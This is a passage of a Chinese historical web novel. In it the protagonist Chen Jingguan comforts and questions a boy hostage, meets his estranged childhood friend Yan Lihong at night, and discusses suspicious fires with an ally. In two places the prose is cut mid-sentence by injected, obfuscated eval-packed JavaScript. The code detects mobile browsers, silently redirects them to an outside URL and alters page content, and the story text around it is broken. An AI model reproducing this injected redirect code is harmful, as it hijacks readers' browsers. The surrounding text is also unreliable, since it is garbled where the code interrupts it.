席英看到过很多死人的场面,她的父母被射杀时她以为她已经麻木了,可是平海的死成了梗在她心里的刺。她只要想到那个晚上,只要闻到海鲜的腥味,只要听到“东亭”,她总会下意识挺直脊背。 那是席英第一次在速度上慢过一个人,也是这一次,带走了她好不容易寻到的亲人。 “不会,我答应你,永远不会。” 陈京观双眼还望着林含章的方向,可他从胸腔里传出的回答却清晰地进入了席英的耳朵。 “行了,哥你也别伤心,我和席英永远在你身后!” 平芜眉眼弯弯,他说着拉了拉席英的胳膊,席英小声“嗯”了一句。 “好,哥记住了。” 那一刻,陈京观一天的阴霾一扫而光,他的失落,他的悲伤,被平芜三言两语平复,他的胳膊上留着平芜的重量,偏过头时能看到席英的笑容。 其实,这就足够了。 …… “咳,林含章,我们有几个问题问你。” 平芜脸上的笑意还挂着,他站定在林含章面前,努力装出一副严肃的样子。可面前十四岁的少年刚经历劫后余生,又经历被迫逃亡的生活,他眼睛湿漉漉地望着陈京观,下一秒就跪在床上搂住陈京观的脖子开始哭。 “诶不是,”平芜有些慌了神,他压低声音问席英,“我刚才很凶吗?” 席英笑着摇了摇头,两个人一齐盯着不知所措的陈京观。 “你先下来,怎么了?” 陈京观的声音不知不觉间温柔下来,他用手一下一下抚着林含章的背,怀里的小孩慢慢稳下情绪,松开了陈京观,却依旧坐在床边抽噎。 “你不想说我们可以先不说,但是含章,你不是小孩子了,你家和陆伯父家逢此劫难,势必有人在背后推波助澜,我要找出这幕后真凶。你,是最后一个见过晏离鸿的人。” 听到晏离鸿的名字,林含章哭泣的幅度更大,他肩膀颤抖着,一双眼睛早就被泪水蒙住。 “陈哥哥,你说师父为什么会骗我?” 陈京观听到这个称呼愣了一下,忽然想到自己参加林朝槿的婚宴时林含章应当是见过自己,便没做声,思虑片刻后应答道:“你为什么觉得他骗了你?” 林含章抹掉了脸上的泪,“他说他要带我去重山,他说他要带我去打雪仗,可他实际却是将我当作人质。” “他伤害你了吗?” 陈京观此话一出,在场的三个人都望向他,陈京观叹了一口气继续说,“含章,你师父是有错,可他也才二十二岁。” 见林含章木讷地低下了头,陈京观伸手揉了揉他的头发,“你是如何出现在清泉楼的?” “师父带我从禹州马场离开,临走时传了军令带走了昌安营的守军,不过这一切是我后来知道的。最开始,师父只说带我出去玩,他领我去了益州,去了济州,还去了朔州,最后我们还在都定口看了海,那是我第一次看海。” 林含章说着,眼泪啪嗒啪嗒落在床榻上,苏清晓为他另外搭了一个简单的医庐,借口说是他心悸容易做噩梦,实际上陈京观清楚,苏清晓应当猜到了林含章的身份。 此时小小的医庐里站着四个人,从外面听,只能听到林含章的哭泣声。 “再后来师父说他要到遥州办事,那时候我已经感觉到不对劲了,但凡是我们走过的地方,东亭的军队都打下了。终于,我趁师父出门的时候在清泉楼的大堂和几个吃酒的人聊天,那时我才知道家里出了那么大的事情,而一切的始作俑者是师父。” 陈京观抬手擦掉了林含章的眼泪,可小孩子的眼泪就像瀑布,只有海枯石烂那一天才能终结。 “昨天晚上我在清泉楼等了他好久,他明明说过要陪我吃晚饭的,可直到我昏昏沉沉睡着,我也没有再见到他。他又跑了,这次他甚至不要我了。” 林含章嘟着个嘴,强忍着眼泪一个人委屈巴巴地抱着膝盖。 “他回来过,他把你放到了安全的位置才点的火。” 平芜面目表情的说着,而他身边的其他两个人也讶异地望着他。 “刚才你们都在气头上,我没来得及说。”平芜挠了挠头,“我派人查了,起火源在清泉楼的一间偏房,应当是蜡烛点燃了床榻,火是从二楼往下烧的,所以林含章住的三楼只在楼倒塌的时候才受到损害。他所在的位置之所以没有被我们第一时间发现,是因为他被人刻意放在了楼梯间的仓房,那里即使塌了也有最底下的马厩撑着。” 林含章听着,眼睛的闸口又被打开,他把脑袋蒙在被子里一下一下抽搐着,陈京观摆了摆手让身后的二人先离开,他自己坐到了林含章的床边。 “所以,你师父只是觉得凭他一个人的力气跑不出去,而他又非得跑出去,所以他带上了你。你要是觉得他拿你做人质,倒也没问题,可是晏离鸿从始至终没想过伤害你,甚至他的不辞而别,也是因为不知道如何面对你。” 被子里颤动的幅度小了些,陈京观附身半搂着林含章,用手慢慢抚着他的背。 “凭你刚才的话,可以看得出他把你教得很好,你很敏锐。那你想不想让你师父悬崖勒马?” 腾的一下,林含章从被子里探出一个脑袋,他咬着嘴犹豫地点头。 “这一路,你师父带你玩的时候你可曾留意过他还做过什么?” 林含章陷入了沉思,过去的四个月,在一切真相大白之前是他这辈子最快乐的四个月,林均许虽然是慈父,可林家的家教很严,林含章长这么大走过最远的地方是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈京观脑海中突然蹦出这个可怕的想法,他一直以为这天下最忠诚的就应属昌安营,陆晁待兵如子,陆栖川从小被丢在军营陆晁也是一视同仁,昌安营为何会叛逃? 突然,董辉的那句话在陈京观耳边响起。 “北梁建国这么多年,只有陆将军用累累军功换了自由。” 若陆晁可以,为何他们不行?随着新主子打下新的江山,他们每个人都是陆晁。 想到这,陈京观明白了陆晁的所托。 陆晁在这军营待了一辈子,他太清楚这刀剑之后的蝇营狗苟,没有人甘愿认下世代做军户的命,董辉一家就是前车之鉴,若要拼命,为何不为自己拼命? 平远军是如此,东亭军也是如此。 当一切到了这个地步,陈京观脑海中的想法更加大胆,或许有一种可能,晏离鸿其实是陈京观的代替,江阮想要的始终是兵,谁能给他兵,他就能为谁所用。 只可惜,陈京观在创立平远军的那一刻,就立下誓言:平远军,只为自己。 陈京观脑海中的信息像被一颗石子引起的阵阵波澜,它们搅动着陈京观的思绪,也牵扯着陈京观的情绪。 “你乖乖在这里歇息,晚些时候我会带你去我住的客栈。过些时日栖野会来,倒时候让他送你回去。” “不,我要跟着你。” 林含章擦干脸上的泪,挣扎着站起身,他还有些低烧,站定的时候险些跌倒。 “在家时无论母亲还是姐姐,他们总是觉得我还小,总是觉得我做不了什么。如今我出来,我偏要做成一番事情再回去。” 陈京观笑着摇头道:“可是,输了会死的。” 林含章咽了口唾沫,神色难掩忧虑,但他转瞬间挺起胸膛,“我不怕!” 陈京观没有再说什么,抬头拍了拍林含章的肩膀,转身朝外走去。 “等等。” 陈京观闻声扭过头,苏清晓给身旁的伙计交代了两句朝陈京观走过来。 “还有事?” 苏清晓抿了抿嘴,“听闻你包下了一间客栈,能否借我们三间房,如今虽说入春了,但是夜晚凉风习习不利于病人休息。” 陈京观笑着点头没有说话,见苏清晓也再无动作,便准备转身离开。 “你知道他们要打遥景了?” 陈京观背对着苏清晓站定,他听到背后的人继续说,“如今你在明他在暗,你甚至不知道他有多少兵力,在这样的情况下你还是要打吗?” 陈京观依旧沉默不语,苏清晓上前走到他面前。 “你要做殉道者可以,可你也要为跟着你的人考虑一下。人,最起码要死得其所。” 陈京观笑着应,“你这算是遗漏军机吗?” 苏清晓却依旧一脸严肃,“算是好言相劝。” “为什么?” 陈京观的问句不假思索,反倒是苏清晓别过头避开了他的目光。 “我想赢,却也不想你输。” 81.草蛇灰线(五) 这句话,是少时苏清晓在下棋时最常与陈京观说的一句话。 苏清晓的棋艺在陈京观之上,可是他二人下棋时却总是和局偏多。 有一日陈京观看出是苏清晓故意让着自己,他气鼓鼓地质问苏清晓,苏清晓愣了片刻只说了一句,“我想赢,却也不想你输”。 在那之后陈京观再也没有和苏清晓下过棋,他们把下棋的时间用到了对对子或者看话本子上,按照陈京观的话说,这总分不出个高低了。 十年过去了,陈京观不知道苏清晓的棋艺增进了多少,但是陈京观在离开阙州后再也没有找到陪自己下棋的人了。 “或许,这一次我能赢呢?” 陈京观仰着头灿烂一笑,他不等苏清晓回答,转身朝后摆了摆手。 “这次若是我赢了,我们再下一盘棋吧!” …… 是夜,由于白日清泉楼大火,遥州街道上比任何时候都冷清。打更的大声喊着“天干物燥,小心火烛”,客栈外的灯笼被风吹着一下一下敲击着门框,不知道是不是陈京观的错觉,这天有一种山雨欲来风满楼的情势。 “师兄,外面的兄弟都安排好了,三班倒守在客栈外。还有我着人去城外送了信,董叔那边会加强巡视。” 平芜推门进来的时候陈京观正一个人靠在窗户旁边发呆,他嘴里“嗯”了一声,依旧保持着伫立的姿势。 平芜向前走到窗台边,顺着陈京观的目光向下望,那个打更的老爷子渐渐消失在这条街的尽头,只有他手里的锣声还荡在空中。 “你觉得不对劲?” 陈京观摇头,“谈不上,就是觉得脑子有点乱,吹吹风。” 平芜紧绷着的神经松懈了些许,他看了陈京观一眼又继续和他一同看窗外。 “人嘛,知道的越多越难受。” 平芜满不在乎地说着,脑袋却被陈京观拍了一把。 “少看些乱七八糟的书。” 平芜不满地朝陈京观做鬼脸,陈京观作势要去踹他一脚,二人打闹着刚巧被开门的席英撞见。 “苏大夫那边安排好了,他们住我们楼下,楼梯口有我们的人守着。林含章在我隔壁,我会照看的。” 平芜见席英来了,像是寻到了救世主,连忙躲到了席英背后。 “姐,他说我看的是乱七八糟的书,可那些书是我们俩一起看的。” 席英有些无语地撇开了平芜抓着自己的手,“你拉着我看的,我没仔细看。” “诶不是,”平芜朝后跳了一步,“我就不该信你会站在我这一边,你们就是狼狈为奸!” 平芜恶狠狠地瞪了陈京观一眼,扭头朝楼下跑。 “你别说,有这么一个活宝在这调节气氛,纵使明天打仗,我今天也能笑着过。” 陈京观重新转头看着窗外,他紧了紧自己的衣领,将目光停留在那个随风飘摇的灯笼上。 “是啊,也就和他待在一起的时候我觉得自己才十七。” 席英和陈京观心里都明白,平芜已经不是那个雍州街上撒欢儿跑的小孩了,可是平芜也知道,他是最小的,只要他还是个孩子模样,席英和陈京观总会短暂忘记身上背着的担子,也能寻到一丝平日的快乐。 他们有一句没一句的说着话,不需要讨论军机战略,不需要分析利弊得失,只说些漫无边际的诨话,逗得一乐就行。 “行了,你今日也忙了一天,早些休息,我晚上会去林含章屋里瞧瞧,你安心睡。” 陈京观关上卧房的窗户,转身时又回过头来插上了栓子。席英看着他这一系列举动,只是默默点头应了声“好”。 “不过你嘱咐兄弟们一声,我觉得昨日的清泉楼只是对方给我们提个醒,事情还没完。” 席英点头,顿了一下说:“你放心苏清晓吗?” 陈京观笑着叹了口气,“你不用太紧张他,他在我面前能做的事情很少,他脸皮薄,有些事情碍着情面他也做不出来。” 席英没有再继续说什么,她转身想给陈京观把门带上。 “其实,当初给你起这个名字的时候我的确有私心。他是我少时最好的朋友,是挚交,你的出现,我以为是老天又把他还给我了。”陈京观苦笑了一声,转即抬头望向席英,“可后来我发现你和他完全不一样。你当时那不是胆怯,反而是在极力用你的方式来争取。你从来都没怕过。” 陈京观回想着席英攥着衣服站在自己面前的时候,与其说她是羞涩和害怕,不如说她是在表演一种示弱的样子,她见惯了低头就能讨来饭的日子,所以她以为陈京观也吃这一套。 而陈京观确实是吃这一套的,但是讨来的饭和挣来的饭,在他这里有云泥之别。 席英表演出的胆小在他这混到了在昌用商行做学徒的机会,而她毫不掩饰的身手换来了平远军副将的前程。 每每想到这些,席英都让陈京观觉得自愧不如,她的果敢,比他更适合做平远军的统领。 “你不用同我解释什么,无论你如何想的,不会改变我对一切的认识。你对我的好我看得清。我席英识人,从不用眼睛和耳朵,要用这,”席英拍了拍自己的心口,“用心。” 陈京观笑着点头,他瞧着席英离开的身影,竟然有一种我家有女初长成的欣慰,古话说“长兄如父”,陈京观算是体会到了。 不过陈京观最多算是太阳,算是雨水,席英这棵苗能长成荫蔽连天的大树,还是靠她自己那颗心。 陈京观吹灭了桌上的烛台,夜晚的黑暗被月光一点点侵蚀,他靠着那细微的光亮摸索着房间里一切事物的轮廓,然后他找到了自己放在床头的玉佩。他握着那玉,斜靠在床边任由思绪放空。 “呼”。 正当陈京观的睡意慢慢浮现,一阵风声吹散了他的倦怠,他警惕地抬头,朝着窗边走过去,窗户完好的关着,依稀还能听到楼下的灯笼发出的响声。 陈京观重新把玉佩系到腰间,侧身小心翼翼跨过面前的桌椅,贴着门边朝客栈的大厅望去。 那里的守卫刚刚换班,门厅里的三个人站在指定的位置时不时四下张望。二楼那几个用作医馆的房间还燃着灯,陈京观透着光能瞧见苏清晓还守着那两个急病的伤员,而他的伙计靠在门口打瞌睡。 一切都是正常的,但是陈京观不相信那阵风声是自己的幻觉,他睡觉浅,必定是有什么东西发出了声响。 陈京观轻轻推开了自己的门,他左边平芜的房间蜡烛已经熄灭,他正对着的席英的屋子倒是燃着灯,但是席英的剪影也应在窗户上。 那就只剩林含章的屋子了。 陈京观挪着步子,朝看见他的守卫做了个噤声的手势,楼下的几个人立刻警惕起来,不由自主地握紧了手里的刀。 “吱——”,林含章的房门被推开,陈京观能听到小孩轻轻的呼吸声,他朝床边看了一眼,林含章半抱着被子跨着枕头睡得正香,而他屋里的窗户当真开了半扇,皎洁的明月洒在窗边的花台上。 陈京观松了一口气,蹑手蹑脚地走到窗边将窗户关住。可还没等他转身,一个黑色的影子就如打翻的墨水一般漫出了屏风的遮挡,紧接着陈京观感觉自己身后也出现了呼吸的起伏。 “你们确定在这聊吗?” 陈京观轻声问了一句,黑暗里的人影没回答,床上的林含章倒是不安分地翻了个身。 “遥州都已经是你们的地盘了,你们还怕逃不掉?” 陈京观说着,他感觉背后的温度降了些,应当是身后的人退了两步,而他面前的人虽然没有动作,却轻笑了一声。 “不愧是你,还是有几分本事的。” 陈京观没应声,他转身的时候背后的人已经消失的无影无踪,他推开门朝楼下的守卫示意,那些聚在大厅里的人便慢慢散开了。紧接着,陈京观感觉自己背后抵着一把硬物,应该是匕首,却没有出鞘。 陈京观嘴角微微抽动,“何必呢,刚才你都下不去手,现在倒是假模假样的装起来了。” 他背后的人动作一滞,却依旧没有放弃防御的姿态,两个人趁着守卫巡守的间隙回到了陈京观的屋子里。 “就这么黑着聊,还是我去点个灯?” 进屋后的两个人莫名局促了起来,陈京观把腰间的所有武器一股脑放到了桌上,对背后的人表露出绝对信任。 “就这么聊吧,我们彼此的时间都不多了。” 陈京观轻笑了一声,可慢慢又觉得一阵荒谬的感觉爬上了他的身体,他笑得发颤。 “我们竟然已经到这个局面了吗?可我还没有认真看过长大后的你呢,遥鹤。” 地上的黑影在月光的映射下绽出水波纹,陈京观知道这是晏离鸿,或者说孟遥鹤被点破后的表现。 陈京观默契地没有转身,他任由身后的人拿刀抵着自己的后腰。 “你果然还是不放心他,那你又是何必呢?那孩子抱着我哭的可伤心了。” “是我对不起他,我对不起林家。” 晏离鸿的声音像是渡进陈京观的耳朵一般,轻的让他以为是自己的幻觉。 “你做这一切是何苦?当时我没有明白你的意思是我的错,可遥鹤,你变了好多,我没敢认你。” 晏离鸿笑着答:“还是叫离鸿吧,我习惯这个名字。至于当时,我不怪你,我从小就是个性子古怪的人,家里遭逢变故之后更像个死人,”晏离鸿顿了一下,“那小子形容得倒还贴切。” 陈京观叹了一口气,“陆家一家人都等着你回去,在你假传军令之前他们都在帮你瞒着,可你却让他们一家为这份信任买单。” 陈京观背后没了声响,随之而来的是他腰间的硬物消失了,陈京观转身时,瞧见了一袭黑衣的晏离鸿。 当初站在陆家门庭里的晏离鸿像只孤傲的鹤,他不合群,却也被陆晁用心呵护着羽毛,抵挡了他周遭的一切。如今的他自己飞出了北梁的冬天,身上沾了飞雪,染了世俗的尘埃,却更不像这世上会存在的人。 陈京观那一刻以为晏离鸿将化作他来时的那一阵风,在他试图看清他的瞬间飞走。 “他们不会有事的。” 晏离鸿的话在陈京观听来有些不可思议,但是他的语气笃定,像是十拿九稳的赢局。 “你知道些什么?” 晏离鸿轻笑道:“陈京观,我们不是一个阵营的。” 陈京观也应着他的笑,“可我和陆家是一个阵营的。” 黑暗中的晏离鸿眼神倏忽间闪动光芒,他也看不清陈京观的表情,但是他能感觉到陈京观这句话说得无比坚定。 “你只需要告诉陆栖野他不必为了家里担心。除此以外,让他喂好他的马,这一次我不会让他了。” 陈京观想到了陆栖野兴高采烈来告诉自己他成了陆栖川的随护时的神情,他低头,隐约在晏离鸿的披风下看到了那个紫色的香囊。 “那你就没什么要对我说的?” 陈京观的话一问完,屋子里便突然冷了许多,明明那窗户吹不进来风,可陈京观总觉得有东西扰得他心神不宁。 “陈京观,你觉得南魏还值得救吗?这个吃人的世界,还有光明吗?” 陈京观没应答,晏离鸿嘲讽地笑了,“你我心知肚明。你不过是骨子里带着陈频的愚忠,它不会放任你信马由缰。你与我的差别,在于我爹明白先有家才有国,而陈频教给你的是国不安定无以为家。” 晏 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两个人的话说到这个份上,他们之间的高墙也就竖了起来。晏离鸿的话比起苏清晓更加锋利,他像极了还未发兵前的陈京观。 其实从小陈京观就与晏离鸿更为相似,或许也是因为太像了,他们彼此更能瞬间明白彼此的真意,故而他们总是礼貌的疏离着,却又像是镜子两边不容忽视的存在。 以前的陈京观以为自己能隔着镜子看到晏离鸿,即使只是一个对视,那也是心有灵犀的触碰,可今天他抬头时发觉镜子起了雾,晏离鸿的面孔不知从何时起变得模糊,陈京观伸手的时候发现对面没有伸手。 他们都丢掉了另一半自己。 “那之后呢?你觉得江阮的野心可以到此为止?” 陈京观回过神,他的声音如同划破长夜的流星,在晏离鸿心里留下一条久不消散的痕迹。 “我的路到此为止,他的路,我不予过问。” 晏离鸿对于江阮的态度对上了席英的判断,陈京观想着,心里却生出一阵慌乱。 “你有多大把握江阮能放你全身而退?” 这次轮到晏离鸿哑言,实话实说,他没把握。 在晏离鸿收到江阮的消息后,他带兵离开北梁,至今为止晏离鸿就见过江阮两次,那个总是挂着淡淡微笑的人几乎没有向他透露过自己的分毫。 这也是江阮厉害的地方,他手里的鱼线钓着每个人的欲望,可他的欲望却紧紧攥在他的手里。他甚至不需要说出他的欲望,来登门的人就得乖乖接受他的条件。 甚至江阮说不上威逼利诱,他不过是在找一个个能与他同舟共渡的人,那条船是他的,每个上来的人都想渡河,那么他们便成了船夫,帮着江阮去到他想去的地方。 他帮天下人了天下事,这天下事不知不觉间成就他的欲望。 陈京观不知道他想要什么,但他觉得江阮要的不多。 “若不能退,大不了与你一样,寻个问心无愧。” 说罢,晏离鸿笑了,陈京观也陪着他笑,可两个人笑得声音越大,这黑暗越冷清。 “最后问你一件事,”陈京观抿了抿嘴,“郁妍知道你还活着吗?” 晏离鸿轻笑道:“你以为,刚才站在你背后的是谁?” 霎那间,陈京观哭笑不得,他是觉得那隐幽的香味熟悉,却没曾想是泯川楼刻在他脑海里的回忆。 “不过她也没骗你,在我离开北梁之前我没有去找过她,她也不知道我还活着。” “为何?” 晏离鸿哑然失笑,“要不是你,我们会安稳在现在的生活里度日。她在泯川楼,其实也挺快乐的,那里不是你想象的样子。泯川楼,是江阮给她们的乐园。” 晏离鸿不知道陈京观曾经去过一次泯川楼,他始终没有忘记自己在泯川楼看到的一切。不过晏离鸿最后这句话,倒是引得他好奇起来。 “泯川楼不是灵谍的据点吗?怎么成了她们的乐园?” “你知道的挺多啊,”晏离鸿轻笑,“没错,可那也是这些女子只凭自己的手艺就能吃饱饭的地方。乱世女子命最轻,琵琶三声换金银,这原是说娼妓以色示人,可江阮硬是让这诗成了真的。只凭这个,我也能信他。” 陈京观点头,晏离鸿所说的他信,虽然江阮常调笑自己是商人重利,可陈京观偏偏在他的身上看到了义。 “对了,他还好吗?” 陈京观的问话惹得晏离鸿发笑,“到这时候了,你该担心你自己吧。” 陈京观笑着点头,“我的意思是,他和姚康,谁是真正的幕后黑手?” “所以你到现在还是信他的,”晏离鸿嘴角勾着笑,“有些话我也不怕你知道,我带来的昌安军编入了东亭军,唯一有军令的,是姚康。” 果然,江阮依旧是稳坐钓鱼台的那一个,复兴东亭依旧不是他的最终目的,可姚康这一步棋他要用来做什么? 不知为何,此刻的陈京观竟还有些庆幸,比起对手是江阮,是姚康的话他会少些顾及。 “话说到这个份上了,我也不怕再说两句,”晏离鸿说着慢慢从陈京观身边走过,“景豫,我不求你不怪我们。我只希望孟遥鹤,孟郁妍,以及苏清晓,没有死在你的回忆里。” 话音刚落,陈京观背后的窗户不知何时被拔了栓子,晏离鸿当真化作一阵风消失在了月色中,若不是陈京观的衣摆因他震动,他会以为这一切不过是他自己在呓语。 陈京观沿着窗边看去,这条寂静的街道毫无异常,楼下的灯笼依旧响着恼人的“砰砰”声。 陈京观觉得,这应该是他最后一次再见晏离鸿了。 82.颓云駃雨(一) 七日后,陆栖野的队伍集合在遥州城外,他们毫不遮掩的列队在城门下,在守军的眼前安营扎寨。 守城的士兵一次次给长官报告,可上头没有消息,他们管不了什么都没做的陆栖野。 同时董辉的守军停在遥景边界,隔着一望无际的平原随时等待陈京观的讯号。 或许是在战场上待得久了,董辉觉得这日子太平的有些异常,可他怕自己风声鹤唳扰乱了陈京观的打算,只是加强了对周边的监控,没有与陈京观说明心中所想。 董辉的警惕不无道理,自那夜偶然长谈后,晏离鸿就没了行踪,他的离开并没有如陈京观所想,接下来这些日子遥州城内没有任何动静,甚至之前为虎作伥,趁乱起势的几个小土匪都销声匿迹了,反倒是陆栖野的队伍显得扎眼异常。 “我觉得有些不对劲。” 席英推开了陈京观的房门,林含章正在陈京观的督促下练剑。 原也不是陈京观要求的,是林含章看着席英和平芜的身手,非要让陈京观也教自己两招,陈京观就替晏离鸿接了这个差事。 “含章,去你屋子里喝些水休息会,等下平芜若是要出城,你可以随他去一趟。” 林含章自然听得出其中的意思,他点了点头握着刀柄煞有介事地朝陈京观行礼。等他走后,席英将谍子打探来的消息递给陈京观。 “其实你都不用看,安静得可怕。” 陈京观没说话,但是他应了席英的意思,把手里的纸条夹在手指尖来回滚动,有些出神。 “林含章的话是一种推测,晏离鸿的出现是一种警示,我们没有确切的证据证明他们下一个目标是遥州,反倒是我现在越来越觉得他们这是调虎离山。” “你的意思是?” 席英拿手指着陈京观挂在墙上的地图,她的指尖沿着泯川江一路北上,最后停在了泯川交界。 “他们要打崇州我倒也不担心,崇州有老牌守军,贺福愿我们都见过,他能打。” 席英没说话,她的动作也没动。 “我派人走一趟崇州。” 陈京观看得出席英的担心,他叫来了门口的守卫,叫人快马加鞭往温叔让处走一趟,务必要见到温叔让本人才行。 “你是对贺福愿有什么想法吗?” 席英摇头,“那日你回来同我说了温大人的判断,既然他只说了贺福愿与我们立场相左,那证明在他眼里贺福愿不是个贪生怕死的。东亭要进攻崇州,这是外敌,纵使我们与崇宁不对付,他应不会在这件事上退却。” 陈京观应和道,“我也是基于这个考虑,当日他特地来寻我,我瞧着他的样子该是对东亭的形势是清楚的,我没有直接委命于他是想着毕竟他还有崇宁这层关系。说到底,我觉得他不会拿人命开玩笑。” 贺福愿那句“福愿,便是止戈”,陈京观在无数个对月空叹的时候都会想起。而贺福愿为何选择倚靠崇宁,他也理解,只看当今南魏朝堂,若说有能力举全国之力与东亭一抗的,只有崇宁。 虽说崇宁身上系着对陈京观的杀父之仇,可除却这一点,这个女人在陈京观这里是应当刮目相看的存在。 当时的陈频以死止争,可真正安定下南魏的是崇宁。她实际掌权的这十多年,南魏行将就木,可就是这样一个王朝,还是气息奄奄地撑了下来,而南魏每一次生死转圜中,都有崇宁的功劳。 当初办景州茶税的时候,陈京观问过关策崇宁要这么多钱做什么,随着陈京观往后查他才发现,这些银子实际上大多没有进入崇宁的腰包,一层一层克扣下来,放到崇宁面前的或许还没有她宫里一个季度的开支大。 她是养了一群豺狼虎豹,可她也是合格的驯兽师,她抓住了人心的欲望,她饲养了人心的欲望。 人只要有利可图,便会拼尽全力。那些人是贪官污吏,却也是南魏这巨大机器的原料。 不过也正如晏离鸿所说,不以民为先的南魏,在纷争中首当其冲。 水能载舟亦能覆舟。 崇宁生长在深宫里,从小浇灌的是阿谀奉承,是威逼利诱,是如何在权利这大船上掌舵,她不知道这大船下的水,才是权利的根源。 有时陈京观会生出荒谬的想法,若一开始崇宁当政,她接手的不是萧家这百年来日渐消磨的烂摊子,或许崇宁能成一个好君主。 只可惜,时势造英雄。 “算了,遣人去看一趟也能安心些。这遥州我们待不了不久了。” …… 陈京观的谍子从遥州城门离开时,陆栖野掀开营帐走了出来,他四下看了看,寻到了迷津。 “城里还是没有消息?” 陆栖川临走时将迷津和檞枳托付给了林均许,后来一听陆栖野要来遥州,他们自请做了陆栖野的守卫。他二人虽说更像是陆府的家兵,可实打实是在昌安营任了军职的。 陆栖野说话时目不斜视地望着墙头的遥州守将范诔,城墙上的人仿佛感受到了他的目光,也低着头瞧着他。 范诔算是陆晁的老部下了,当时打下遥州时陆晁看范诔年事已高,不想让他继续奔波,特地给元衡去信为他请封在遥州。 也是碍着这层关系,范诔放任着陆栖野在自己面前耀武扬威,他装聋作哑地每日配合陆栖野唱反调。 迷津摇头道,“我瞧着陈公子的兵刚出了城,往北走了。” “往北?”陆栖野眉眼一簇,“他也发觉不对劲了?” “可我们在泯川三界守着的弟兄没发现异常。不过要说奇怪,刚才探子来报时提了一嘴。” 陆栖野侧头看着迷津,迷津继续道:“约莫三日前,崇州城里莫名燃了烟,除此以外没什么了。” “燃了烟?像是报信的吗?” 迷津抿了抿嘴,“我当时特意问了一嘴,他说像是走水。” 走水,陆栖野想到了陈京观在信上说清泉楼走水的事情。 当真这么巧吗?两处地方没隔几日相继有大火势,这是在掩盖什么? “查到烧掉的是什么了吗?” 迷津道:“停在泯川江边的一艘画舫。” “归属谁家?” “泯川楼。” 陆栖野“嗤”地一声冷笑,出发前林均许把他叫进书房聊了许久,把晏离鸿的所有事情都告诉了他,其中涉及江阮的部分林均许让他多留意,这泯川楼,就是其中的重点。 清泉楼,泯川楼,相继失火,江阮这是在声东击西。不过西是哪边,江阮说了算。 “我要进城一趟,你们和董将军的人警醒着些,若有不对劲你可以先斩后奏。” 迷津点头领命,陆栖野让檞枳套了马,两人往陈京观所在的客栈奔去。 这些日陈京观和陆栖野城里城外相互策应,虽说陆栖野来了有几日了,可二人并未实际上见过面,陈京观想着把林含章给陆栖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980487|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野送过去,可林含章死活不肯,陈京观也只好作罢。 “少将军,陆少主到楼下了。” 门口的守兵隔着门通报了一声,陈京观应了一句。 “他怎么进城了?” 席英问道,陈京观也没有头绪。 “那小子呢?” 陆栖野上来第一句就问林含章,看着他的态度,陈京观知道城外应当是没出什么事。 “听着你上楼,躲了。” 陆栖野无语地叹了口气,忍了半天还是翻了个白眼,“他和他那个师父好的不学,倒学会躲了。” 陈京观笑着应,“你这副样子我都差点躲了。” “算了,他想怎么着就怎么着吧,也是十四岁的人了。” 陈京观笑而不语,替陆栖野倒了杯茶,“他也是想着这次混出个名堂再回去,你当初不也是吗?彼此理解一下。” 陆栖野接过茶抿了一口,神色慢慢柔和下来,“就是因为我经历过,我才不想让他再经历一遍。只有担子压下的时候才知道爹娘怀里有多暖和。” 陈京观没接话,他抬头望了席英一眼,席英明了地朝着陆栖野行礼退了出去。 “你怎么进城了?” 陈京观脸色凝重了些,陆栖野朝他摆了摆手,“没什么事,可正因为没什么事我才觉着有事。” 陆栖野把方才迷津告诉自己的又给陈京观复述了一遍,陈京观沉默着,半晌后站起身来走到窗边。 从他的位置望,清泉楼的废墟已经被府衙清扫的差不多了,原先清泉楼的店主葬身火海,家里就留下了个妻女。原本也是宅子里养尊处优惯的,那母亲瞧着风头不对,连夜将地契都出让了出去,举家搬到了阙州。 这事其实也有疑点,按理说官令要办下少说需要二十几日,可这一家人短短七日就搬了家。 陈京观自然明白南魏买卖官令之事猖獗,不过他没想到萧霖的死并没有起到敲山震虎的作用,反而让一些人想趁机快快捞一笔跑路。 南魏沉疴之深,陈京观怕还未见到十之一二。 “迷津后来让人查了起火的原因,但是画舫是泯川楼自己的营生,他们没报官,官府也没有理由自己查。不过好像因为画舫走水,那几日崇州城门关的比平日更早些,还实行了几日宵禁,我的人没进去。” 陆栖野说着,走到了陈京观身边,两个人就对向站着,谁也没有再说话,彼此望着遥州的两个方向,最后视线交汇到一片天空。 “栖野,”陈京观侧身看着陆栖野,“我是没什么顾忌的,但是你怕不怕?” 陆栖野笑了一声,“怕啊,平日打仗要死死我一个,这次打仗,要死死我全家。陈京观,我们可都把命给你了。” 陈京观笑着没说话,他知道这是陆栖野的玩笑话,可玩笑话也该当真的,因为陆栖野说的是事实。 如今的陈京观站在天平的中轴,两侧的人热切地望着他,他转身时,天平倾斜,一方陨落。 陈京观不是这场仗的关键,可他不知不觉间成了这场仗的中心,双方视线交汇,陈京观被钉在原地。 这场仗总有一方会赢,只有陈京观一定会输。 想到这,陈京观竟想发笑,他抽动嘴角后只剩下无可奈何。陆栖野的手掌落到了他的肩膀上。 “都到这一步了,咬咬牙,就过去了。” 陈京观点头不语,唇齿间是鲜血的味道。 83.颓云駃雨(二) 当晚,陆栖野和檞枳留宿在陈京观租下的客栈,他们与苏清晓见了面。 几个受伤较轻的百姓前些日子谢过陈京观和苏清晓后走了,今日那个受伤最重的大娘也由席英搀扶着来寻陈京观。 “那日我见你,就觉得你不是个寻常商人,这些日客栈里人来人往,我也大抵能看清楚。谢谢你和苏大夫救了我的命,让我这个老婆子,能给我两个儿子收尸。” 大娘握着席英的手,整个人颤栗着想要屈身跪下,陈京观连忙上前扶住。 “大娘保重身子。” 除此以外,陈京观一句话也说不出来。 陆栖野在一旁站着,听了大娘的话后侧身走到了窗前,背对着所有人。 